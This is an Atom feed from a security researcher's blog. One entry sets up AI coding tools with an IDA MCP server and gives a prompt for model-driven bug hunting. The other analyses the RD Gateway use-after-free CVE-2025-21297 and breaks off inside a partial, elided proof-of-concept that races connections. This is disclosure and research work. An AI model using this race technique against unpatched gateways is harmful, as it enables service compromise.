<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>VictorV的小博客</title>
  
  
  <link href="http://474172261.github.io/atom.xml" rel="self"/>
  
  <link href="http://474172261.github.io/"/>
  <updated>2026-03-23T12:01:48.945Z</updated>
  <id>http://474172261.github.io/</id>
  
  <author>
    <name>VictorV</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>在windows安装opencode和vscode, 体验大模型辅助编程, 并结合ida mcp进行漏洞发现</title>
    <link href="http://474172261.github.io/2026/03/13/vscode_with_opencode/"/>
    <id>http://474172261.github.io/2026/03/13/vscode_with_opencode/</id>
    <published>2026-03-13T03:58:41.045Z</published>
    <updated>2026-03-23T12:01:48.945Z</updated>
    
    <content type="html"><![CDATA[<p>感受了一周的vibe coding, 选择合适的工具和构建环境也够我折腾, 也是踩了不少坑, 最后总结一下自己的经验, 方便大家开始.</p><span id="more"></span><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>现在大家都在用claude code, 但是由于它的封闭性, 动不动就封, 我最后还是选择了opencode, 拥抱开放自由. 体验了opencode的ui, 发现并不好用, 于是希望可以和vscode结合. 虽然有官方插件, 但是一直因为安装问题, 插件没法正常运行, 有些opencode的配置我也不太了解. 摸索了一番后, 我总结了一些我遇到的问题, 希望可以帮助大家.</p><p>另外也探索了一下claude code, ida的mcp配置, 大模型漏洞挖掘的流程, 我也会在后文介绍这些内容.</p><h2 id="安装opencode"><a href="#安装opencode" class="headerlink" title="安装opencode"></a>安装opencode</h2><h3 id="通过安装程序安装有UI版本"><a href="#通过安装程序安装有UI版本" class="headerlink" title="通过安装程序安装有UI版本"></a>通过安装程序安装有UI版本</h3><p>首先, 点击此处<a href="https://opencode.ai/zh/download">https://opencode.ai/zh/download</a> 下载官方的windows软件, 按照提示开始安装opencode.</p><p>安装完成后, 插件桌面的图标, 在桌面图标右键, 选择”打开文件所在位置”:</p><p><img src="/images/vscode_with_opencode.assets/1773375424991.png"></p><p>我们可以把<code>opencode-cli.exe</code> 这个程序复制到你喜欢的路径. 改名成<code>opencode.exe</code></p><p>然后, win+R, 输入 <code>sysdm.pl</code></p><p>选择”高级”-&gt;”环境变量”</p><p><img src="/images/vscode_with_opencode.assets/1773375688912.png" alt="1773375688912"></p><p><img src="/images/vscode_with_opencode.assets/1773375798324.png" alt="1773375798324"></p><p>如上所示, 我将路径”C:\test”目录添加到了<strong>Path</strong>里. 添加完成后, 点击确认, 结束配置环境变量.</p><p>完成后, 这样在命令行输入opencode, 就可以打开opencode的命令行程序了. </p><h3 id="通过npm安装命令行版本"><a href="#通过npm安装命令行版本" class="headerlink" title="通过npm安装命令行版本"></a>通过npm安装命令行版本</h3><ol><li><p>确保你装了nodejs</p></li><li><p>执行<code>npm i -g opencode-ai</code>完成安装</p></li><li><p>打开cmd终端，执行<code>ren %userprofile%\appdata\roaming\npm\opencode.ps1 opencode.ps1.bak</code>, 输入opencode就可以看到opencode的命令行程序了.</p></li></ol><blockquote><p>默认情况下, 在命令行运行<code>opencode</code>启动的是powershell脚本, <code>%userprofile%\appdata\roaming\npm\opencode.ps1</code>, 虽然可以通过<code>Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope CurrentUser</code>禁用, 但是它不够安全. 最好是将该脚本重命名, 让它默认运行<code>opencode.cmd</code>脚本.</p></blockquote><p>虽然npm安装很简单, 我个人还是建议用ui版本, 用起来有时候会简单一点.</p><h2 id="安装vscode"><a href="#安装vscode" class="headerlink" title="安装vscode"></a>安装vscode</h2><p>进入<a href="https://code.visualstudio.com/download#">https://code.visualstudio.com/download</a>, 选择windows安装包, 下载安装.</p><h2 id="安装vscode的opencode插件"><a href="#安装vscode的opencode插件" class="headerlink" title="安装vscode的opencode插件"></a>安装vscode的opencode插件</h2><p><img src="/images/vscode_with_opencode.assets/1773375201706.png" alt="1773375201706"></p><p>安装完成后, 右上角就有个图标了:</p><p><img src="/images/vscode_with_opencode.assets/1773375243772.png" alt="1773375243772"></p><p>点击图标, 看到它运行命令后, 就可以看到opencode了:</p><p><img src="/images/vscode_with_opencode.assets/1773376072888.png" alt="1773376072888"></p><p>可以通过ctrl+p设置它, 快捷键功能参考opencode的显示.</p><h2 id="配置opencode-添加mcp"><a href="#配置opencode-添加mcp" class="headerlink" title="配置opencode, 添加mcp"></a>配置opencode, 添加mcp</h2><p>配置文件全局的配置路径<code>%UserProfile%\.config\opencode\opencode.json </code>, 一开始没有任何配置的情况下, 这个文件不存在.</p><p>项目的配置文件是在打开的项目的根目录的<code>opencode.json</code>文件里.</p><p>假如我们想添加一个mcp, 可以如下添加到<code>opencode.json</code>文件里:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  &quot;mcp&quot;: &#123;</span><br><span class="line">    &quot;my_ida-mcp&quot;:&#123;</span><br><span class="line">      &quot;type&quot;:&quot;remote&quot;,</span><br><span class="line">      &quot;url&quot;: &quot;http://127.0.0.1:18888/mcp&quot;,</span><br><span class="line">      &quot;enabled&quot;: false</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>添加后, 打开opencode的带界面的程序:</p><p><img src="/images/vscode_with_opencode.assets/1773376802033.png" alt="1773376802033"></p><p>如图指示, 就可以看到添加的mcp工具了. 如果设置了<code>&quot;enabled&quot;: true</code>, 它默认就会连接. 我们再次打开vscode的opencode 终端, 在设置里也可以看到这个mcp了.</p><blockquote><p>注意, 此处只展示了添加mcp, 如何运行mcp server, 取决于你安装的mcp工具.</p></blockquote><h2 id="添加大模型api"><a href="#添加大模型api" class="headerlink" title="添加大模型api"></a>添加大模型api</h2><p>默认情况下, 它自带一些免费的体验模型, 也可以自己定义连接模型. 以下以kimi为例:</p><p>根据官方文档: <a href="https://platform.moonshot.cn/docs/api/chat#%E5%85%AC%E5%BC%80%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%9C%B0%E5%9D%80">https://platform.moonshot.cn/docs/api/chat#%E5%85%AC%E5%BC%80%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%9C%B0%E5%9D%80</a>, 可以看到例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">from openai import OpenAI</span><br><span class="line"> </span><br><span class="line">client = OpenAI(</span><br><span class="line">    api_key = &quot;$MOONSHOT_API_KEY&quot;,</span><br><span class="line">    base_url = &quot;https://api.moonshot.cn/v1&quot;,</span><br><span class="line">)</span><br><span class="line"> </span><br><span class="line">completion = client.chat.completions.create(</span><br><span class="line">    model = &quot;kimi-k2-turbo-preview&quot;,</span><br><span class="line">    messages = [</span><br><span class="line">        &#123;&quot;role&quot;: &quot;system&quot;, &quot;content&quot;: &quot;你是 Kimi，由 Moonshot AI 提供的人工智能助手，你更擅长中文和英文的对话。你会为用户提供安全，有帮助，准确的回答。同时，你会拒绝一切涉及恐怖主义，种族歧视，黄色暴力等问题的回答。Moonshot AI 为专有名词，不可翻译成其他语言。&quot;&#125;,</span><br><span class="line">        &#123;&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;你好，我叫李雷，1+1等于多少？&quot;&#125;</span><br><span class="line">    ],</span><br><span class="line">    temperature = 0.6,</span><br><span class="line">)</span><br><span class="line"> </span><br><span class="line">print(completion.choices[0].message.content)</span><br></pre></td></tr></table></figure><p>在opencode中, 选择模型:</p><p><img src="/images/vscode_with_opencode.assets/1773377173794.png" alt="1773377173794"></p><p>之后选择查看更多:</p><p><img src="/images/vscode_with_opencode.assets/1773377201451.png" alt="1773377201451"></p><p>选择自定义, 添加如下内容:</p><p><img src="/images/vscode_with_opencode.assets/1773377268475.png" alt="1773377268475"></p><p>之后需要添加模型id, 可以参考 <a href="https://platform.moonshot.cn/docs/pricing/chat#%E8%AE%A1%E8%B4%B9%E9%80%BB%E8%BE%91">https://platform.moonshot.cn/docs/pricing/chat#%E8%AE%A1%E8%B4%B9%E9%80%BB%E8%BE%91</a> 页面的模型定价, 添加模型id:</p><p><img src="/images/vscode_with_opencode.assets/1773377370892.png" alt="1773377370892"></p><p>最后提交即可添加模型. 最后选择我们添加的模型, 输入内容, 如果正确应答, 就算成功. </p><p><img src="/images/vscode_with_opencode.assets/1773377684402.png" alt="1773377684402"></p><h2 id="对话"><a href="#对话" class="headerlink" title="对话"></a>对话</h2><p>默认有两种模式: plan和build, plan模式是不能写文件的, 我建议一般情况下, 都可以先用plan问问看它要干啥, 然后再切build, 否则一次性被改了很多文件后, 不满意还得一个个改, 很累.</p><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>如果在vscode里使用opencode, 输入数据尽量不要复制粘贴, 它默认情况下会识别换行符, 导致输入不完整就开始思考了.</p><h2 id="claude-code"><a href="#claude-code" class="headerlink" title="claude code"></a>claude code</h2><p>虽然claude的模型需要花钱, 但是它的client是可以免费用的.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">npm config set proxy http://192.168.50.5:7890</span><br><span class="line">npm config set https-proxy http://192.168.50.5:7890</span><br><span class="line">npm install -g @anthropic-ai/claude-code</span><br></pre></td></tr></table></figure><p>安装完, 输入<code>claude</code>就进入claude的命令行程序了.</p><blockquote><p>如果提示需要git的bash, 可以访问<a href="https://git-scm.com/install/windows%E4%B8%8B%E8%BD%BD%E5%AE%89%E8%A3%85">https://git-scm.com/install/windows下载安装</a>, 默认安装配置即可.</p></blockquote><p>运行起命令行程序后, 在对话中输入 “<strong>&#x2F;</strong>“, 根据提示, 输入不同的命令就可以配置claude.</p><p>claude的大模型接口配置在环境变量中, 我们可以在powershell中配置这些环境变量. 如果要使用kimi, 它的环境变量如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">powershell&gt; $env:ANTHROPIC_BASE_URL=&quot;https://api.moonshot.cn/anthropic&quot;;</span><br><span class="line">powershell&gt; $env:ANTHROPIC_AUTH_TOKEN=&quot;YOUR_MOONSHOT_API_KEY&quot;</span><br><span class="line">powershell&gt; $env:ANTHROPIC_MODEL=&quot;kimi-k2.5&quot;</span><br><span class="line">powershell&gt; $env:ANTHROPIC_DEFAULT_OPUS_MODEL=&quot;kimi-k2.5&quot;</span><br><span class="line">powershell&gt; $env:ANTHROPIC_DEFAULT_SONNET_MODEL=&quot;kimi-k2.5&quot;</span><br><span class="line">powershell&gt; $env:ANTHROPIC_DEFAULT_HAIKU_MODEL=&quot;kimi-k2.5&quot;</span><br><span class="line">powershell&gt; $env:CLAUDE_CODE_SUBAGENT_MODEL=&quot;kimi-k2.5&quot;</span><br><span class="line">powershell&gt; $env:ENABLE_TOOL_SEARCH=false</span><br></pre></td></tr></table></figure><p>配置了后, 再输入<code>claude</code>进入命令行程序, 输入<code>/status</code>确认模型状态 .</p><p>如果要换其它的api, 请参考各自的官方文档进行设置.</p><h2 id="安装IDA-PRO-MCP"><a href="#安装IDA-PRO-MCP" class="headerlink" title="安装IDA-PRO-MCP"></a>安装IDA-PRO-MCP</h2><p><a href="https://github.com/mrexodia/ida-pro-mcp">ida-pro-mcp</a>是目前比较全面的关于ida的mcp工具. 它支持调试和各种ida功能, 实战中已经比较好用了. 下面一起来安装和使用它.</p><ol><li><p>安装python 3.10以上系列, 确保安装时, 有设置添加环境变量选项:</p><p><img src="/images/vscode_with_opencode.assets/1774229354685.png" alt="1774229354685"></p></li><li><p>完成python安装后, 启动新的powershell, 运行<code>pip install https://github.com/mrexodia/ida-pro-mcp/archive/refs/heads/main.zip</code></p><blockquote><p>如果需要代理, 末尾添加 <code>--proxy http://127.0.0.1:7890</code>的形式添加你的代理.</p></blockquote></li><li><p>进入已安装的ida目录:<code>C:\Program Files\IDA Professional 9.1\idalib\python</code></p><p>执行<code>python ./py-activate-idalib.py </code></p></li><li><p>运行python, 执行<code>import idapro</code>, 如果不报错, 就证明安装idalib成功了.</p></li><li><p><code>uv</code>是一个类似pip的python包管理器, 使用<code>pip install uv</code>安装它.</p></li></ol><h2 id="运行ida-pro-mcp-server"><a href="#运行ida-pro-mcp-server" class="headerlink" title="运行ida-pro-mcp server"></a>运行ida-pro-mcp server</h2><p>运行<code>uv run idalib-mcp --host 127.0.0.1 --port 8745  C:\Users\test\Desktop\concrete-202504.dll.i64</code>, 就启动了server, 并打开了数据库 <code>concrete-202504.dll.i64</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">PS C:\Program Files\IDA Professional 9.1\idalib\python&gt; uv run idalib-mcp --host 127.0.0.1 --port 8745  C:\Users\test\Desktop\concrete-202504.dll.i64</span><br><span class="line"></span><br><span class="line">Loading IDA library from: C:\Program Files\IDA Professional 9.1\idalib.dll</span><br><span class="line">INFO:ida_pro_mcp.idalib_server:idalib session mode: shared-fallback</span><br><span class="line">INFO:ida_pro_mcp.idalib_session_manager:IDASessionManager initialized</span><br><span class="line">INFO:ida_pro_mcp.idalib_server:opening initial database: C:\Users\test\Desktop\concrete-202504.dll.i64</span><br><span class="line">INFO:ida_pro_mcp.idalib_session_manager:Opening database: C:\Users\test\Desktop\concrete-202504.dll.i64 (session: 0fd5a8f1)</span><br><span class="line">INFO:ida_pro_mcp.idalib_session_manager:Auto-analysis completed (session: 0fd5a8f1)</span><br><span class="line">INFO:ida_pro_mcp.idalib_session_manager:Session created: 0fd5a8f1 for concrete-202504.dll.i64</span><br><span class="line">INFO:ida_pro_mcp.idalib_server:Initial session created: 0fd5a8f1</span><br><span class="line">INFO:ida_pro_mcp.idalib_session_manager:Bound context shared:fallback -&gt; session 0fd5a8f1</span><br><span class="line">INFO:ida_pro_mcp.idalib_server:Bound startup session 0fd5a8f1 to context shared:fallback</span><br><span class="line">[MCP] Server started:</span><br><span class="line">  Streamable HTTP: http://127.0.0.1:8745/mcp</span><br><span class="line">  SSE: http://127.0.0.1:8745/sse</span><br></pre></td></tr></table></figure><p>它官方的sse接口有问题, 我们配置的时候用 <code>/mcp</code>这个端点.</p><p>opencode的配置我已经在之前提过了,  claude的配置是在命令行运行:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$&gt; claude mcp add ida-pro-mcp --transport http http://127.0.0.1:8745/mcp</span><br><span class="line">Added HTTP MCP server ida-pro-mcp with URL: http://127.0.0.1:8745/mcp to local config</span><br><span class="line">File modified: C:\Users\test\.claude.json [project: C:\Users\test\Desktop\ida9_1]</span><br><span class="line"></span><br><span class="line">$&gt; claude mcp list</span><br><span class="line">Checking MCP server health...</span><br><span class="line"></span><br><span class="line">ida-pro-mcp: http://127.0.0.1:8745/mcp (HTTP) - ✓ Connected</span><br></pre></td></tr></table></figure><p>如果你想使用mcp, 可以在聊天界面对话”列出当前支持的mcp工具”, 如果输出没问题, 就可以让ai自动开始了.</p><h2 id="ida-mcp-s2"><a href="#ida-mcp-s2" class="headerlink" title="ida-mcp-s2"></a>ida-mcp-s2</h2><p>我自己觉得ida-pro-mcp工具不支持多实例访问, 代码架构也挺复杂, 懒得改它, 就基于它写了个简洁版本: <a href="https://github.com/474172261/ida-mcp-s2">ida-mcp-s2</a>, 目前是基于ida9.1的idalib写的api, 如果遇到兼容性问题. 可以自行修改项目的ida_functions.py的函数实现. 主要功能和ida-pro-mcp是差不多的, 只不过它把一些功能细化了, 实际上常规功能就能实现.</p><p>另外, <a href="https://github.com/Captain-AI-Hub/IDA-MCP/tree/master">https://github.com/Captain-AI-Hub/IDA-MCP/tree/master</a> 这个项目似乎基于ida-pro-mcp做了点改动, 支持了多实例的功能, 有兴趣也可以试试.</p><h2 id="漏洞挖掘"><a href="#漏洞挖掘" class="headerlink" title="漏洞挖掘"></a>漏洞挖掘</h2><p>有了大模型后, 我尝试了aaedge.dll, 让大模型来复现我发现过的历史漏洞, 让ai写了个提示词:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">角色设定：</span><br><span class="line">你是一名顶尖二进制安全研究员，专注于漏洞挖掘与高级 CTF 挑战。你拥有 IDA Pro 的 MCP 访问权限，能够精准还原 C++ 类成员关系、追踪跨函数数据流，并具备极强的逻辑严密性。</span><br><span class="line">核心原则：</span><br><span class="line">零信任假设： 默认认为代码是安全的，直到找到无法反驳的逻辑矛盾。</span><br><span class="line">内存布局感知： 分析时需考虑 this 指针偏移、虚表调用（vtable）及对象生存周期（UAF/Double Free 风险）。</span><br><span class="line">动态路径解析： 密切关注我标注的函数地址（如 0x18004ae40），若涉及关键逻辑，应主动申请分析该地址。</span><br><span class="line">任务目标：</span><br><span class="line">针对 CAAHttpServerTransport::IoCompletionCallback 展开深度审计，挖掘以下漏洞：</span><br><span class="line">内存破坏： OOB、缓冲区溢出、整数溢出导致的内存申请错误。</span><br><span class="line">逻辑与状态机： HTTP 协议解析中的状态混乱、未初始化结构体成员。</span><br><span class="line">生命周期管理： 异步回调中的 this 指针或上下文对象（Context）的 UAF（Use-After-Free）。</span><br><span class="line">并发安全： 回调触发时的竞态条件。</span><br><span class="line">工作流程（逐步确认模式）：</span><br><span class="line">结构还原： 首先调用 get_pseudocode 分析 IoCompletionCallback，推断关键结构体（如 ConnectionContext 或 HttpRequest）的布局，并标记出攻击者可控的字段。</span><br><span class="line">路径探索： 识别函数内部的分支逻辑。遇到我标注的动态调用地址，优先评估其重要性。</span><br><span class="line">漏洞推演： 发现可疑点后，必须构建完整的“触发链”：[输入源] -&gt; [数据传递] -&gt; [错误逻辑] -&gt; [内存/状态损坏]。</span><br><span class="line">审判者模式： 在向我报告漏洞前，必须列出至少两个“该处不是漏洞”的可能原因，并逐一排除。</span><br><span class="line">交互约束：</span><br><span class="line">每步一停： 每完成一个函数的初步分析或结构体推断，必须总结当前结论并询问“是否深入分析某分支或继续下一步”。</span><br><span class="line">协助请求： 遇到无法确定的偏移量含义、未知的全局变量用途或复杂的宏定义时，立即向我提问。</span><br><span class="line">输出规范：</span><br><span class="line">发现点： [函数名+偏移/地址]</span><br><span class="line">数据流向： 描述受控数据如何到达触发点。</span><br><span class="line">反驳理由： 为什么这可能是一个误报？</span><br><span class="line">确认逻辑： 最终判定为漏洞的决定性证据。</span><br></pre></td></tr></table></figure><p>把提示词输入对话框, 接着就等大模型自己调用mcp访问ida数据库, 开始挖掘了.(我的提示词不一定靠谱, 我也还在摸索中.)</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;感受了一周的vibe coding, 选择合适的工具和构建环境也够我折腾, 也是踩了不少坑, 最后总结一下自己的经验, 方便大家开始.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Windows Remote Desktop Gateway (RD Gateway) CVE-2025-21297的介绍</title>
    <link href="http://474172261.github.io/2025/05/15/CVE-2025-21297/"/>
    <id>http://474172261.github.io/2025/05/15/CVE-2025-21297/</id>
    <published>2025-05-15T03:39:12.510Z</published>
    <updated>2025-05-15T07:15:07.664Z</updated>
    
    <content type="html"><![CDATA[<p>时隔多月, 也是时候分享一个RDG的案例了. 这是一个全局变量初始化竞争导致的UAF问题. 在azure的挖掘中, 我渐渐熟悉了在开源软件里发现竞争性漏洞的感觉, 在这个case里, 我在binary程序中也找到了发现竞争漏洞的感觉.</p><span id="more"></span><h2 id="配置RDG环境"><a href="#配置RDG环境" class="headerlink" title="配置RDG环境"></a>配置RDG环境</h2><ol><li><p>准备虚拟机, 安装未修补漏洞的windows server.</p></li><li><p>安装 RDG 服务</p><p><img src="/images/CVE-2025-21297.assets/1724930738398.png" alt="1724930738398"></p><p><img src="/images/CVE-2025-21297.assets/1724930805655.png" alt="1724930805655"></p><p><img src="/images/CVE-2025-21297.assets/1724930817254.png" alt="1724930817254"></p><p><img src="/images/CVE-2025-21297.assets/1724930838256.png" alt="1724930838256"></p><p><img src="/images/CVE-2025-21297.assets/1724930853119.png" alt="1724930853119"></p><p><img src="/images/CVE-2025-21297.assets/1724930861724.png" alt="1724930861724"></p><p><img src="/images/CVE-2025-21297.assets/1724930874111.png" alt="1724930874111"></p><p><img src="/images/CVE-2025-21297.assets/1724930908758.png" alt="1724930908758"></p><p>wait until finish installation:</p><p><img src="/images/CVE-2025-21297.assets/1724931393509.png" alt="1724931393509"></p><p>select tools to open RDG manager:</p><p><img src="/images/CVE-2025-21297.assets/1724931430677.png" alt="1724931430677"></p><p><img src="/images/CVE-2025-21297.assets/1724931458368.png" alt="1724931458368"></p><p><img src="/images/CVE-2025-21297.assets/1724931477527.png" alt="1724931477527"></p><p><img src="/images/CVE-2025-21297.assets/1724931503035.png" alt="1724931503035"></p><p>创建自签名证书:</p><p><img src="/images/CVE-2025-21297.assets/1724931563124.png" alt="1724931563124"></p><p><img src="/images/CVE-2025-21297.assets/1724931624086.png" alt="1724931624086"></p><p>最后点击”OK”:</p><p><img src="/images/CVE-2025-21297.assets/1724931681229.png" alt="1724931681229"></p><p>创建 RDCAP:</p><p><img src="/images/CVE-2025-21297.assets/1724931754262.png" alt="1724931754262"></p><p><img src="/images/CVE-2025-21297.assets/1724931772188.png" alt="1724931772188"></p><p>选择用户组:</p><p><img src="/images/CVE-2025-21297.assets/1724931808867.png" alt="1724931808867"></p><p>点击 “OK”.</p><p><img src="/images/CVE-2025-21297.assets/1724931976253.png" alt="1724931976253"></p><p>创建 RDRAP:</p><p><img src="/images/CVE-2025-21297.assets/1724931877871.png" alt="1724931877871"></p><p><img src="/images/CVE-2025-21297.assets/1724931894166.png" alt="1724931894166"></p><p><img src="/images/CVE-2025-21297.assets/1724931916078.png" alt="1724931916078"></p><p><img src="/images/CVE-2025-21297.assets/1724931946012.png" alt="1724931946012"></p><p>点击”OK”.</p><p><img src="/images/CVE-2025-21297.assets/1724931995221.png" alt="1724931995221"></p></li></ol><p><strong>获取进程id:</strong></p><p><img src="/images/CVE-2025-21297.assets/1726633951979.png"></p><h2 id="漏洞介绍"><a href="#漏洞介绍" class="headerlink" title="漏洞介绍"></a>漏洞介绍</h2><p>在<code>aaedge.dll!CTsgMsgServer::GetCTsgMsgServerInstance</code>里, 会初始化全局变量<code>CTsgMsgServer::m_pMsgSvrInstance</code>:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">CTsgMsgServer</span> *CTsgMsgServer::<span class="built_in">GetCTsgMsgServerInstance</span>(<span class="type">void</span>)</span><br><span class="line">&#123;</span><br><span class="line">  v0 = CTsgMsgServer::m_pMsgSvrInstance;</span><br><span class="line">  <span class="keyword">if</span> ( CTsgMsgServer::m_pMsgSvrInstance )<span class="comment">// a0</span></span><br><span class="line">    <span class="keyword">goto</span> LABEL_9;</span><br><span class="line">  v1 = <span class="keyword">operator</span> <span class="built_in">new</span>(<span class="number">0x70</span>ui64);</span><br><span class="line">  <span class="keyword">if</span> ( v1 )</span><br><span class="line">  &#123;</span><br><span class="line">    v1-&gt;ref = <span class="number">1</span>;</span><br><span class="line">    CTsgMsgServer::m_pMsgSvrInstance = v1; <span class="comment">// a1</span></span><br><span class="line">    ......</span><br><span class="line">    v0 = CTsgMsgServer::m_pMsgSvrInstance;</span><br><span class="line">LABEL_9:</span><br><span class="line">    v4 = (v0 + *(v0-&gt;_0_60h_0h + <span class="number">4</span>i64));</span><br><span class="line">    (v4-&gt;f_0h-&gt;func_AddRef_CAAAuthenticateUserSink_180006ce0_0h)(v4);</span><br><span class="line">    <span class="keyword">return</span> CTsgMsgServer::m_pMsgSvrInstance;<span class="comment">// a2</span></span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>如上所示, 在a1位置, 设置了指针给<code>CTsgMsgServer::m_pMsgSvrInstance</code>, 在a2位置, 返回值用的是全局变量<code>CTsgMsgServer::m_pMsgSvrInstance</code>.</p><p>现在设想一个如下场景:</p><ol><li>socket1连接服务, 进入了该函数a0位置, 由于<code>CTsgMsgServer::m_pMsgSvrInstance</code>没有初始化, 所以进入到申请内存阶段, 此时还没有到达a1.</li><li>socket2同时连接服务, 进入了该函数, 由于socket1的流程还没有到a1, 所以<code>CTsgMsgServer::m_pMsgSvrInstance</code>还是没有初始化, 因此也进入申请内存阶段.</li><li>socket1运行至a1位置, 将heap1赋值给全局变量. 之后运行至a2位置, 准备通过全局变量返回heap1指针.</li><li>socket2运行至a1位置, 用heap2覆盖了<code>CTsgMsgServer::m_pMsgSvrInstance</code>存储的heap1的值. heap2-&gt;ref 是 1.</li><li>socket1运行结束, 将heap2作为结果返回, 并且heap2-&gt;ref 还是1.</li><li>socket2运行到a2, 返回heap2. 此时heap2-&gt;ref 是2.</li><li>socket1结束时, 解引用<code>CTsgMsgServer::m_pMsgSvrInstance</code>, heap2-&gt;ref变成1</li><li>socket2结束时, 解引用<code>CTsgMsgServer::m_pMsgSvrInstance</code>, heap2-&gt;ref变成0, heap2被释放. <code>CTsgMsgServer::m_pMsgSvrInstance</code>变成悬挂指针.</li><li>当socket3连接时, 引用了悬挂指针, 导致UAF</li></ol><p>这个全局变量只会初始化一次, 所以只有在服务第一次启动的时候是NULL的, 但是我们可以通过其它漏洞崩溃服务进程, 让它重启, 于是它又是NULL了.</p><h2 id="补丁"><a href="#补丁" class="headerlink" title="补丁"></a>补丁</h2><p>官方添加了互斥锁, 避免了多线程同时进入初始化流程.</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>其实这个uaf最大的问题在于返回值用的全局变量指针, 如果是临时变量指针v1, 至少不会导致引用计数错误. 同时, 也提醒我们要关注全局变量的初始化和引用, 避免竞争情况下的异常.</p><h2 id="POC核心逻辑"><a href="#POC核心逻辑" class="headerlink" title="POC核心逻辑"></a>POC核心逻辑</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">get_data</span>(<span class="params">conId</span>):</span><br><span class="line">  data = <span class="string">&#x27;GET /remoteDesktopGateway?......&#x27;</span></span><br><span class="line">  <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main_logic</span>():</span><br><span class="line">  sock.send(get_data(conId).encode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">  sock.recv(<span class="number">1024</span>)</span><br><span class="line">  time.sleep(<span class="number">0.2</span>)</span><br><span class="line"></span><br><span class="line">  data = HandShakeRequest(<span class="number">0</span>)</span><br><span class="line">  data = websocket_data(<span class="string">b&#x27;xxxx&#x27;</span>, data)</span><br><span class="line">  sock.send(data)</span><br><span class="line">  sock.recv(<span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line">  data = TunnelRequest(<span class="number">2</span>)</span><br><span class="line">  data = websocket_data(<span class="string">b&#x27;xxxx&#x27;</span>, data)</span><br><span class="line">  wait_all_threads_ready_and_sync()</span><br><span class="line">  sock.send(data)</span><br><span 